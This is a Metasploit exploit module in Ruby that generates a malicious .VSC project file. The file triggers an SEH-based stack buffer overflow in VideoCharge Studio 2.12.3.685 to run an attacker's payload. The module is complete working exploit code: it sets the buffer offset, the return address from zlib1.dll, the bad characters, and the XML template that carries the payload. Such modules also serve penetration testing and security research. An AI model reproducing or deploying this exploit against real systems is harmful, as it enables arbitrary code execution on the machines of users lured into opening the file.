##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Seh

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'VideoCharge Studio Buffer Overflow (SEH)',
        'Description' => %q{
          This module exploits a stack based buffer overflow in VideoCharge Studio 2.12.3.685 when
          processing a specially crafted .VSC file. This vulnerability could be
          exploited by a remote attacker to execute arbitrary code on the target
          machine by enticing a user of VideoCharge Studio to open a malicious .VSC file.
        },
        'License' => MSF_LICENSE,
        'Notes' => {
          'Stability' => [],
          'SideEffects' => [],
          'Reliability' => [],
          'NOCVE' => ['Reason not given']
        },
        'Author' => [
          'metacom', # Original discovery
          'Andrew Smith',       # MSF module
          'Christian Mehlmauer' # MSF module
        ],
        'References' => [
          [ 'CVE', '2025-34123' ],
          [ 'OSVDB', '69616' ],
          [ 'EDB', '29234' ]
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process'
        },
        'Platform' => 'win',
        'Payload' => {
          'BadChars' => "\x00\x0a\x0d\x3c\x22\x26",
          'DisableNops' => true,
          'Space' => 2808
        },
        'Targets' => [
          [
            'VideoCharge Studio 2.12.3.685',
            {
              'Ret' => 0x61B811F1, # p/p/r | zlib1.dll
              'Offset' => 2184
            }
          ],
        ],
        'Privileged' => false,
        'DisclosureDate' => '2013-10-27',
        'DefaultTarget' => 0
      )
    )

    register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.vsc']),])
  end

  def exploit
    buffer = rand_text_alpha(target['Offset'])
    buffer << generate_seh_record(target.ret)
    buffer << payload.encoded

    file = %Q|<?xml version="1.0" encoding="Windows-1252" ?><config ver="2.12.3.685">
<cols name="Files"/>
<cols name="Profiles">
<Property name="Profile">
<cols name="Formats">
<Property name="Stream">
<Value name="Name" type="8" value="#{buffer}"/>
</Property>
</cols>
</Property>
</cols>
</config>|

    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create(file)
  end
end